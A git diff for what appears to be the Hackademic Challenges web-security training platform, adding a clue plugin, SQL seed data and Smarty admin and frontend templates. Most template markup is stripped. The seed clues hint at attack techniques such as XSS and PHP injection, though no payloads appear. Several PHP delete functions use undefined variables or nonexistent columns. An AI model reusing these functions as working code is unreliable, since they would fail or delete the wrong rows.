+ } + + /** + * Updates the clue in the database. + * @param $clue The clue object. + */ + public static function updateClue($clue) { + global $db; + $params = array( + ':id' => $clue->id, + ':clue_text' => $clue->clue_text, + ':penalty' => $clue->penalty, + ':enabled' => $clue->enabled + ); + $sql = "UPDATE clues SET clue_text = :clue_text, penalty = :penalty, enabled = :enabled WHERE id = :id"; + $db->update($sql, $params, self::$action_type); + } + + /** + * Deletes the row with the corresponding clue id. + * @param $id clue id + */ + public static function deleteClue($id) { + global $db; + $params = array(':id' => $id); + $sql = $sql = "DELETE FROM clues WHERE id = :id"; + $db->delete($sql, $params, self::$action_type); + } +} diff --git a/user/plugins/challenge-clues/class.UserCluesModel.php b/user/plugins/challenge-clues/class.UserCluesModel.php new file mode 100755 index 00000000..fd75a504 --- /dev/null +++ b/user/plugins/challenge-clues/class.UserCluesModel.php @@ -0,0 +1,63 @@ + $user_id, ':clue_id' => $clue->id); + $statement_handle = $db->read($sql, $params, self::$action_type); + $clue->opened = $db->fetchArray($statement_handle); + } + } + + /** + * Adds a new clue for an user (he's just read it). + * @param $user_id The user id. + * @param $clue The clue object. + */ + public static function addClue($user_id, $clue) { + global $db; + $params = array(':user_id' => $user_id, ':clue_id' => $clue->id); + $sql = "INSERT INTO user_clues(user, clue) VALUES(:user_id, :clue_id)"; + $db->create($sql, $params, self::$action_type); + } + + /** + * Deletes the rows with the corresponding user id. + * @param $uid user id + */ + public static function deleteUser($aid) { + global $db; + $params = array(':uid' => $uid); + $sql = "DELETE FROM user_clues WHERE uid = :uid"; + $db->delete($sql, $params, self::$action_type); + } + + /** + * Deletes the clues belonging to the corresponding challenge. + * @param $cid challenge id + */ + public static function deleteClue($cid) { + global $db; + $params = array(':cid' => $cid); + $sql = "DELETE FROM user_clues WHERE id IN (SELECT id FROM challenges WHERE id = :cid)"; + $db->delete($sql, $params, self::$action_type); + } +} diff --git a/user/plugins/challenge-clues/editchallenge.tpl b/user/plugins/challenge-clues/editchallenge.tpl new file mode 100755 index 00000000..cd5e53c0 --- /dev/null +++ b/user/plugins/challenge-clues/editchallenge.tpl @@ -0,0 +1,224 @@ +{include file="_header.tpl"} + + + +
+
+

Edit Challenge

+

+
{include file="_usermessage.tpl"}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {foreach from=$clues key=num item=clue} + + + + + + + + + + + + + {/foreach} + + + + + + + + + + +
+

Edit Code

+ +
+ +     + delete clue
+

+

+
+

+ + +

+
+

+
+
+ +
+
+
+ +{include file="_footer.tpl"} diff --git a/user/plugins/challenge-clues/install-plugin.sql b/user/plugins/challenge-clues/install-plugin.sql new file mode 100755 index 00000000..ff325699 --- /dev/null +++ b/user/plugins/challenge-clues/install-plugin.sql @@ -0,0 +1,48 @@ +-- +-- Table structure for table `clues` +-- + +CREATE TABLE IF NOT EXISTS `clues` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `challenge` int(11) NOT NULL, + `clue_text` text NOT NULL, + `penalty` int(11) DEFAULT '0', + `enabled` int(1) DEFAULT '1', + PRIMARY KEY (`id`), + FOREIGN KEY(`challenge`) REFERENCES challenges(`id`) +); + +-- +-- Dumping data for table `clues` +-- + +INSERT INTO `clues`(`id`, `challenge`, `clue_text`, `penalty`, `enabled`) VALUES +(1, 1, 'The admin is also the developer and he kept a reminder somewhere.', 1, 1), +(2, 1, 'Look for invisible things.', 2, 1), +(3, 2, 'You should use the developer console of your browser.', 1, 1), +(4, 3, 'Try XSS attacks.', 1, 1), +(5, 4, 'There is a protection to prevent the use of quotes.', 1, 1), +(6, 4, 'See character encoding in JavaScript.', 2, 1), +(7, 5, 'The browser is sending a value than all servers can use to identify it.', 1, 1), +(8, 5, 'Look at the user-agent.', 2, 1), +(9, 6, 'Debugging might help.', 1, 1), +(10, 6, 'It\'s URL encoded', 2, 1), +(11, 7, 'Look at the cookies.', 1, 1), +(12, 8, 'Try to list the files on the server.', 1, 1), +(13, 9, 'Try the user-agent header.', 1, 1), +(14, 9, 'Try to inject PHP code.', 2, 1), +(15, 10, 'Look for hidden things.', 1, 1); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `user_clues` +-- + +CREATE TABLE IF NOT EXISTS `user_clues` ( + `user` int(11) NOT NULL, + `clue` int(11) NOT NULL, + PRIMARY KEY (`user`, `clue`), + FOREIGN KEY(`user`) REFERENCES users(`id`), + FOREIGN KEY(`clue`) REFERENCES clues(`id`) +); diff --git a/user/plugins/challenge-clues/showChallenge.tpl b/user/plugins/challenge-clues/showChallenge.tpl new file mode 100755 index 00000000..4b8115f4 --- /dev/null +++ b/user/plugins/challenge-clues/showChallenge.tpl @@ -0,0 +1,42 @@ +{include file="_header_frontend.tpl"} +
+
+
+

{$challenge->title}

+
+

+ + + + + + {foreach from=$clues key=num item=clue} + {if $clue->opened} + + + + {else} + + + + {/if} + {/foreach} + + {if isset($is_logged_in) && isset($is_allowed)} + + + + {/if} +
+
{$challenge->description}

+
+
Clue {$num+1}: {$clue->clue_text}
+
+ + +
+
+

Try it!

+
+
+{include file="_footer_frontend.tpl"} diff --git a/user/themes/custom-theme/admin/view/_footer.tpl b/user/themes/custom-theme/admin/view/_footer.tpl new file mode 100755 index 00000000..0f7d808e --- /dev/null +++ b/user/themes/custom-theme/admin/view/_footer.tpl @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/_header.tpl b/user/themes/custom-theme/admin/view/_header.tpl new file mode 100755 index 00000000..64815cc5 --- /dev/null +++ b/user/themes/custom-theme/admin/view/_header.tpl @@ -0,0 +1,53 @@ + + + + + {if isset($controller_title)}{$controller_title} | {/if}{$app_title} + + + + + + + + +
+
+
+
+ +
+
+
+ + + +
+
+
+ {if isset($main_menu_admin)} +
+ +

+ + +
{/if}
+ \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/_pagination.tpl b/user/themes/custom-theme/admin/view/_pagination.tpl new file mode 100755 index 00000000..01f4155c --- /dev/null +++ b/user/themes/custom-theme/admin/view/_pagination.tpl @@ -0,0 +1,133 @@ + +{if $pagination['lastpage'] > 1} +
+ + {if $pagination['page'] > 1} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + Previous + {else} + Previous + {/if} + {else} + Previous + {/if} + + {if $pagination['lastpage'] < 7 + ($pagination['stages']*2)} + + {for $counter=1 to $pagination['lastpage']} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + {elseif $pagination['lastpage'] > 5 + ($pagination['stages'] * 2)} + + + {if $pagination['page'] < 1 + ($pagination['stages'] * 2)} + {for $counter=1 to (3+($pagination['stages'] * 2))} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + ... + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$pagination['last_page_m1']} + {else} + {$pagination['last_page_m1']} + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$pagination['lastpage']} + {else} + {$pagination['lastpage']} + {/if} + + {elseif ((($pagination['lastpage'] - ($pagination['stages'] * 2)) > $pagination['page']) && ($pagination['page'] > ($pagination['stages'] * 2)))} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + 1 + {else} + 1 + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + 2 + {else} + 2 + {/if} + + ... + {for $counter=($pagination['page'] - $pagination['stages']) to ($pagination['page'] + $pagination['stages'])} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + ... + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$pagination['last_page_m1']} + {else} + {$pagination['last_page_m1']} + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$pagination['lastpage']} + {else} + {$pagination['lastpage']} + {/if} + {else} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + 1 + {else} + 1 + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + 2 + {else} + 2 + {/if} + + ... + {for $counter=($pagination['lastpage'] - (2 + ($pagination['stages'] * 2))) to $pagination['lastpage']} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + {/if} + {/if} + + {if $pagination['page'] < ($counter - 1)} + {if isset($smarty.get.search)&&isset($smarty.get.category)&&isset($smarty.get.limit)} + Next + {else} + Next + {/if} + {else} + Next + {/if} +
+{/if} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/_usermessage.tpl b/user/themes/custom-theme/admin/view/_usermessage.tpl new file mode 100755 index 00000000..9d1e9659 --- /dev/null +++ b/user/themes/custom-theme/admin/view/_usermessage.tpl @@ -0,0 +1,10 @@ +{if isset($successmsg) && $successmsg!=''} +

+ {$successmsg} +

+{/if} +{if isset($errormsg)} +

+ {$errormsg} +

+{/if} diff --git a/user/themes/custom-theme/admin/view/addchallenge.tpl b/user/themes/custom-theme/admin/view/addchallenge.tpl new file mode 100755 index 00000000..1377f8df --- /dev/null +++ b/user/themes/custom-theme/admin/view/addchallenge.tpl @@ -0,0 +1,105 @@ +{include file="_header.tpl"} + + +
+
+

Add Challenge

+

+
{include file="_usermessage.tpl"}
+ {if isset($finish) || (isset($type) && $type=="challenge") || (isset($step) && $step=="step2")} +
+
+ {if isset($finish) || (isset($type) && $type=="challenge")} +

+ {else} +

+ {/if} + +

+
+
+ {else} +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+










+

+
+

+
+
+
+ {/if} +
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/addclass.tpl b/user/themes/custom-theme/admin/view/addclass.tpl new file mode 100755 index 00000000..1e3033ca --- /dev/null +++ b/user/themes/custom-theme/admin/view/addclass.tpl @@ -0,0 +1,25 @@ +{include file="_header.tpl"} + +
+
+

Add Class

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + +
+

+
+
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/adduser.tpl b/user/themes/custom-theme/admin/view/adduser.tpl new file mode 100755 index 00000000..71d875e3 --- /dev/null +++ b/user/themes/custom-theme/admin/view/adduser.tpl @@ -0,0 +1,69 @@ +{include file="_header.tpl"} + +
+
+

Add User

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ {if $cached->activated == 1} + Yes + No + {else} + Yes + No + {/if} +
+

+
+
+
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/admin_login.tpl b/user/themes/custom-theme/admin/view/admin_login.tpl new file mode 100755 index 00000000..5d5465b2 --- /dev/null +++ b/user/themes/custom-theme/admin/view/admin_login.tpl @@ -0,0 +1,16 @@ +{include file="_header.tpl"} + +
+
{include file="_usermessage.tpl"}
+
+

Log In

+
+ + +
+
+ +
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/articlemanager.tpl b/user/themes/custom-theme/admin/view/articlemanager.tpl new file mode 100755 index 00000000..a0e071c8 --- /dev/null +++ b/user/themes/custom-theme/admin/view/articlemanager.tpl @@ -0,0 +1,75 @@ +{include file="_header.tpl"} + + +
+
+

Article Manager

+

+ +
+
+ + + + + + + + + + +
Search: Sort By: + + Show: + + +

+
+ +
+
+ +
{include file="_usermessage.tpl"}
+
{include file="_pagination.tpl"}
+ + + + + + + + + + + + + {foreach from=$articles item=article} + + + + + + + + + {/foreach} +
TitleDate postedAuthorLast ModifiedLast modified byPublished
{$article->title}{$article->date_posted|date_format}{$article->created_by}{if $article->last_modified}{$article->last_modified|date_format}{else}-{/if}{if $article->last_modified}{$article->last_modified_by}{else}-{/if}{if $article->is_published}Yes{else}No{/if}
+ +
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/challengemanager.tpl b/user/themes/custom-theme/admin/view/challengemanager.tpl new file mode 100755 index 00000000..b77fc010 --- /dev/null +++ b/user/themes/custom-theme/admin/view/challengemanager.tpl @@ -0,0 +1,83 @@ +{include file="_header.tpl"} + + +
+
+

Challenge Manager

+
+ + + +
+
+

+
+
+ + + + + + + + + + + + +
Search: Order By: + + Show: + + +

+
+
+
+ +
{include file="_usermessage.tpl"}
+
{include file="_pagination.tpl"}
+ + + + + + + + + + + {foreach from=$challenges item=challenge} + + + + + + + + + {/foreach} +
Challenge TitleDate postedVisibilityClassesPublishedDELETE?
+ + {$challenge->title} + {$challenge->date_posted|date_format}{if $challenge->visibility == "public"}Public{else}Private{/if}{if $challenge->visibility == "public"}N/A{else}Edit{/if}{if $challenge->publish == 0}No{else}Yes{/if} + Delete challenge& +
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/classchallenges.tpl b/user/themes/custom-theme/admin/view/classchallenges.tpl new file mode 100755 index 00000000..b52df057 --- /dev/null +++ b/user/themes/custom-theme/admin/view/classchallenges.tpl @@ -0,0 +1,40 @@ +{include file="_header.tpl"} + +
+
+

Class Membership - Challenges

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + +
+ + +

+
+
+
+ + + + + + {foreach from=$class_memberships item=class} + + + + + {/foreach} +
Class nameDelete
{$class['name']}Delete
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/classmanager.tpl b/user/themes/custom-theme/admin/view/classmanager.tpl new file mode 100755 index 00000000..396693df --- /dev/null +++ b/user/themes/custom-theme/admin/view/classmanager.tpl @@ -0,0 +1,88 @@ +{include file="_header.tpl"} + + +
+
+

Class Manager

+
+ + + + + +
+ +
+
+

+ +
+
+ + + + + + + + + + +
Search: Sort By: + + Show: + + +

+
+
+
+ +
{include file="_usermessage.tpl"}
+
{include file="_pagination.tpl"}
+ + + + + + + + + {foreach from=$classes item=class} + + + + + + + {/foreach} +
Class nameDate createdArchive?Delete?
{$class->name}{$class->date_created|date_format} + {if $class->archive == 0} + Click to archive class! + {else} + Click to unarchive class! + {/if} + + Click to delete class! +
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/classmembership.tpl b/user/themes/custom-theme/admin/view/classmembership.tpl new file mode 100755 index 00000000..603bf0a3 --- /dev/null +++ b/user/themes/custom-theme/admin/view/classmembership.tpl @@ -0,0 +1,40 @@ +{include file="_header.tpl"} + +
+
+

Class Membership - Users {$user->username}

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + +
+ + +

+
+
+
+ + + + + + {foreach from=$class_memberships item=class} + + + + + {/foreach} +
Class nameDelete
{$class['name']}Delete
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/dashboard.tpl b/user/themes/custom-theme/admin/view/dashboard.tpl new file mode 100755 index 00000000..c60e65d4 --- /dev/null +++ b/user/themes/custom-theme/admin/view/dashboard.tpl @@ -0,0 +1,63 @@ +{include file="_header.tpl"} + +
+
+

Dashboard

+

+ + + + + + + + + + + + +
+

+ +

+ Add New Article + +

+
+

+ +

+ Article Manager + +

+
+

+ +

+ User Manager + +

+
+

+ +

+ Add New Challenge + +

+
+

+ +

+ Challenge Manager + +

+
+

+ +

+ Configuration + +

+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/editarticle.tpl b/user/themes/custom-theme/admin/view/editarticle.tpl new file mode 100755 index 00000000..17486f35 --- /dev/null +++ b/user/themes/custom-theme/admin/view/editarticle.tpl @@ -0,0 +1,86 @@ +{include file="_header.tpl"} + + +
+
+

Edit Article

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + + + +
+ {if $article->is_published} + yes + no + {else} + yes + no + {/if} +
+ +
+

+ +

+
+
+
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/editchallenge.tpl b/user/themes/custom-theme/admin/view/editchallenge.tpl new file mode 100755 index 00000000..35332eed --- /dev/null +++ b/user/themes/custom-theme/admin/view/editchallenge.tpl @@ -0,0 +1,124 @@ +{include file="_header.tpl"} + + +
+
+

Edit Challenge

+

+
{include file="_usermessage.tpl"}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Edit Code

+ +
+

+
+
+ +
+
+
+ +{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/editcode.tpl b/user/themes/custom-theme/admin/view/editcode.tpl new file mode 100755 index 00000000..8d4bf2cb --- /dev/null +++ b/user/themes/custom-theme/admin/view/editcode.tpl @@ -0,0 +1,38 @@ +{include file="_header.tpl"} +
+
+

Edit Code - {$title}

+

+
{include file="_usermessage.tpl"}
+
+
+ + + + + + + + + + + +
+
+ +
+

+
+

+ Download Challange +

+
+
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/editor.tpl b/user/themes/custom-theme/admin/view/editor.tpl new file mode 100755 index 00000000..4bc95591 --- /dev/null +++ b/user/themes/custom-theme/admin/view/editor.tpl @@ -0,0 +1,77 @@ +{include file="_header.tpl"} + + +
+
+

Add New Article

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + +
+ Yes + No +
+ +
+

+
+
+
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/edituser.tpl b/user/themes/custom-theme/admin/view/edituser.tpl new file mode 100755 index 00000000..5abc6ac8 --- /dev/null +++ b/user/themes/custom-theme/admin/view/edituser.tpl @@ -0,0 +1,77 @@ +{include file="_header.tpl"} + +
+
+

Edit User

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ {if $user->is_activated} + Yes + No + {else} + Yes + No + {/if} +
+

+ + +

+
+
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/menumanager.tpl b/user/themes/custom-theme/admin/view/menumanager.tpl new file mode 100755 index 00000000..9d323ee1 --- /dev/null +++ b/user/themes/custom-theme/admin/view/menumanager.tpl @@ -0,0 +1,133 @@ +{include file="_header.tpl"} + + +
+
+
+

Menu Manager

+
+
+
+
{include file="_usermessage.tpl"}
+
+
+ + + +
+
+ + + + + +{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/options.tpl b/user/themes/custom-theme/admin/view/options.tpl new file mode 100755 index 00000000..80867d49 --- /dev/null +++ b/user/themes/custom-theme/admin/view/options.tpl @@ -0,0 +1,85 @@ +{include file="_header.tpl"} + +
+
+

Options

+
+ +
+
+ +

Plugins

+ {if !empty($plugins)} + {foreach from=$plugins key=k item=plugin} +
+
+
{$plugin['Name']} {$plugin['Version']}
+ {if !empty($plugin['Description'])} +

{$plugin['Description']|escape:'html'}

+ {/if} + {if !empty($plugin['PluginURI'])} +

+ Plugin URI: {$plugin['PluginURI']|escape:'html'} +

+ {/if} + {if !empty($plugin['Author'])} +

Author: {$plugin['Author']|escape:'html'}

+ {/if} + {if !empty($plugin['AuthorURI'])} +

+ Author URI: {$plugin['AuthorURI']|escape:'html'} +

+ {/if} +
+
+ +
+
+ {/foreach} + {else} +
+

No plugins installed at the moment. You can add plugins to Hackademic Challenges in the plugins folder.

+
+ {/if} +

User themes

+
+
+
System
+

The default system theme.

+
+
+ +
+
+ {foreach from=$user_themes key=k item=user_theme} +
+
+
{$user_theme['Name']|escape:'html'} {$user_theme['Version']|escape:'html'}
+ {if !empty($user_theme['Description'])} +

{$user_theme['Description']|escape:'html'}

+ {/if} + {if !empty($user_theme['PluginURI'])} +

+ Theme URI: {$user_theme['PluginURI']|escape:'html'} +

+ {/if} + {if !empty($user_theme['Author'])} +

Author: {$user_theme['Author']|escape:'html'}

+ {/if} + {if !empty($user_theme['AuthorURI'])} +

+ Author URI: {$user_theme['AuthorURI']|escape:'html'} +

+ {/if} +
+
+ +
+
+ {/foreach} +
+

+
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/admin/view/showclass.tpl b/user/themes/custom-theme/admin/view/showclass.tpl new file mode 100755 index 00000000..15d26fdf --- /dev/null +++ b/user/themes/custom-theme/admin/view/showclass.tpl @@ -0,0 +1,67 @@ +{include file="_header.tpl"} + +
+
+

Class Memberships - {$class->name}

+

+
{include file="_usermessage.tpl"}
+ + + + + + + + + + + + + + +
+

+ +

+
+ + + + +

+
+ Add users +
+ + + + + + + {foreach from=$users item=user} + + + + + {/foreach} +
UsernameRemove
{$user['username']}Remove
+

+ + + + + + {foreach from=$challenges item=challenge} + + + + + {/foreach} +
ChallengeRemove
{$challenge['title']}Remove
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/admin/view/usermanager.tpl b/user/themes/custom-theme/admin/view/usermanager.tpl new file mode 100755 index 00000000..e88a2a3b --- /dev/null +++ b/user/themes/custom-theme/admin/view/usermanager.tpl @@ -0,0 +1,108 @@ +{include file="_header.tpl"} + + +
+
+

User Manager

+
+ + + + + + + +
+ + + + + +
+
+

+ +
+
+ + + + + + + + + + +
Search: Sort By: + + Show: + + +

+
+
+
+ +
{include file="_usermessage.tpl"}
+
{include file="_pagination.tpl"}
+ + + + + + + + + + + + + {foreach from=$users item=user} + + + + + + + + + + + {/foreach} +
Username Full NameEmailClassesJoinedLast VisitActivatedType Of User
{$user->username}{$user->full_name}{$user->email} + Edit + {$user->joined|date_format}{if $user->last_visit}{$user->last_visit|date_format}{else}Never{/if}{if $user->is_activated}Yes{else}No{/if}{if $user->type==1}Admin{elseif $user->type==2}Teacher{else}Student{/if}
+
+{include file="_footer.tpl"} diff --git a/user/themes/custom-theme/custom-theme.php b/user/themes/custom-theme/custom-theme.php new file mode 100755 index 00000000..75c893f3 --- /dev/null +++ b/user/themes/custom-theme/custom-theme.php @@ -0,0 +1,11 @@ + + + {if isset($is_logged_in) && isset($challenge_menu)} + {if $challenge_menu|@count > 0} + + + {/if} + {else} + {include file="user_login.tpl"} + {/if} + + + +
+ + \ No newline at end of file diff --git a/user/themes/custom-theme/view/_header_frontend.tpl b/user/themes/custom-theme/view/_header_frontend.tpl new file mode 100755 index 00000000..55b22763 --- /dev/null +++ b/user/themes/custom-theme/view/_header_frontend.tpl @@ -0,0 +1,55 @@ + + + + + {if isset($controller_title)}{$controller_title} | {/if}{$app_title} + + + + + + +
+
+
+
+ +
+
+
+ + + +
+
+
+ {if isset($user_menu)} + +
+ +
+ {/if} + + + + - - -
+
+
+
{include file="_usermessage.tpl"}
+ \ No newline at end of file diff --git a/user/themes/custom-theme/view/_pagination_frontend.tpl b/user/themes/custom-theme/view/_pagination_frontend.tpl new file mode 100755 index 00000000..42a00ad5 --- /dev/null +++ b/user/themes/custom-theme/view/_pagination_frontend.tpl @@ -0,0 +1,133 @@ + +{if $pagination['lastpage'] > 1} +
+ + {if $pagination['page'] > 1} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + Previous + {else} + Previous + {/if} + {else} + Previous + {/if} + + {if $pagination['lastpage'] < 7 + ($pagination['stages']*2)} + + {for $counter=1 to $pagination['lastpage']} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + {elseif $pagination['lastpage'] > 5 + ($pagination['stages'] * 2)} + + + {if $pagination['page'] < 1 + ($pagination['stages'] * 2)} + {for $counter=1 to (3+($pagination['stages'] * 2))} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + ... + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$pagination['last_page_m1']} + {else} + {$pagination['last_page_m1']} + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$pagination['lastpage']} + {else} + {$pagination['lastpage']} + {/if} + + {elseif ((($pagination['lastpage'] - ($pagination['stages'] * 2)) > $pagination['page']) && ($pagination['page'] > ($pagination['stages'] * 2)))} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + 1 + {else} + 1 + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + 2 + {else} + 2 + {/if} + + ... + {for $counter=($pagination['page'] - $pagination['stages']) to ($pagination['page'] + $pagination['stages'])} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + ... + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$pagination['last_page_m1']} + {else} + {$pagination['last_page_m1']} + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$pagination['lastpage']} + {else} + {$pagination['lastpage']} + {/if} + {else} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + 1 + {else} + 1 + {/if} + + {if isset($smarty.get.search)&&isset($smarty.get.category)} + 2 + {else} + 2 + {/if} + + ... + {for $counter=($pagination['lastpage'] - (2 + ($pagination['stages'] * 2))) to $pagination['lastpage']} + {if $counter == $pagination['page']} + {$counter} + {else} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + {$counter} + {else} + {$counter} + {/if} + {/if} + {/for} + {/if} +{/if} + + {if $pagination['page'] < ($counter - 1)} + {if isset($smarty.get.search)&&isset($smarty.get.category)} + Next + {else} + Next + {/if} + {else} + Next + {/if} +
+{/if} \ No newline at end of file diff --git a/user/themes/custom-theme/view/challenge_list.tpl b/user/themes/custom-theme/view/challenge_list.tpl new file mode 100755 index 00000000..c4b53362 --- /dev/null +++ b/user/themes/custom-theme/view/challenge_list.tpl @@ -0,0 +1,16 @@ +{include file="_header_frontend.tpl"} +
+
+

Challenges

+

+ +
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/forgotpw.tpl b/user/themes/custom-theme/view/forgotpw.tpl new file mode 100755 index 00000000..a5f75ad4 --- /dev/null +++ b/user/themes/custom-theme/view/forgotpw.tpl @@ -0,0 +1,23 @@ +{include file="_header_frontend.tpl"} +
+
+

Forgot Your Password?

+


+ +
+
+ + + + + + + + +
+

+
+
+
+
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/frontendChallengeMenu.tpl b/user/themes/custom-theme/view/frontendChallengeMenu.tpl new file mode 100755 index 00000000..0c350597 --- /dev/null +++ b/user/themes/custom-theme/view/frontendChallengeMenu.tpl @@ -0,0 +1,11 @@ +{include file="_header_frontend.tpl"} + + + + + + +
+ {$challenge->pkg_name} +
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/images/logo.jpg b/user/themes/custom-theme/view/images/logo.jpg new file mode 100755 index 00000000..f37e9ce7 Binary files /dev/null and b/user/themes/custom-theme/view/images/logo.jpg differ diff --git a/user/themes/custom-theme/view/images/pictogram.gif b/user/themes/custom-theme/view/images/pictogram.gif new file mode 100755 index 00000000..1169e8ca Binary files /dev/null and b/user/themes/custom-theme/view/images/pictogram.gif differ diff --git a/user/themes/custom-theme/view/landingpage.tpl b/user/themes/custom-theme/view/landingpage.tpl new file mode 100755 index 00000000..83a1c699 --- /dev/null +++ b/user/themes/custom-theme/view/landingpage.tpl @@ -0,0 +1,32 @@ +{include file="_header_frontend.tpl"} + + +{foreach from=$articles item=article} + + + + + + +{/foreach} +
+

{$article->title}

+
{$article->date_posted|date_format}
+
{$article->content|truncate:500}
Read More
+ +
{include file="_pagination_frontend.tpl"}
+ +{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/mainlogin.tpl b/user/themes/custom-theme/view/mainlogin.tpl new file mode 100755 index 00000000..3401692e --- /dev/null +++ b/user/themes/custom-theme/view/mainlogin.tpl @@ -0,0 +1,5 @@ +{include file="_header_frontend.tpl"} +
+{include file="user_login.tpl"} +
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/progressreport.tpl b/user/themes/custom-theme/view/progressreport.tpl new file mode 100755 index 00000000..1e47ade1 --- /dev/null +++ b/user/themes/custom-theme/view/progressreport.tpl @@ -0,0 +1,41 @@ +{include file="_header_frontend.tpl"} +
+
+

Progress Report

+

+ {if isset($search_box)} +
+
+
+ + + + + + + +

+
+
+
+ {/if} + {if (isset($data))} + + + + + + + + {foreach from=$data item=foo} + + + + + + + {/foreach} +
TitleNo. Of AttemptsClearedCleared On
{$foo['title']}{if $foo['attempts'] == 0}Unattempted{else}{$foo['attempts']}{/if}{if $foo['attempts'] == 0}Not Applicable{elseif $foo['cleared'] == false}Uncleared{else}Cleared{/if}{if $foo['cleared'] == true}{$foo['cleared_on']}{else}Not Applicable{/if}
+ {/if} +
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/rankings.tpl b/user/themes/custom-theme/view/rankings.tpl new file mode 100755 index 00000000..1f823012 --- /dev/null +++ b/user/themes/custom-theme/view/rankings.tpl @@ -0,0 +1,46 @@ +{include file="_header_frontend.tpl"} +
+
+

Rankings

+

+ {if isset($is_logged_in)} +
+
+
+ + + + + + + +
+ +

+
+
+
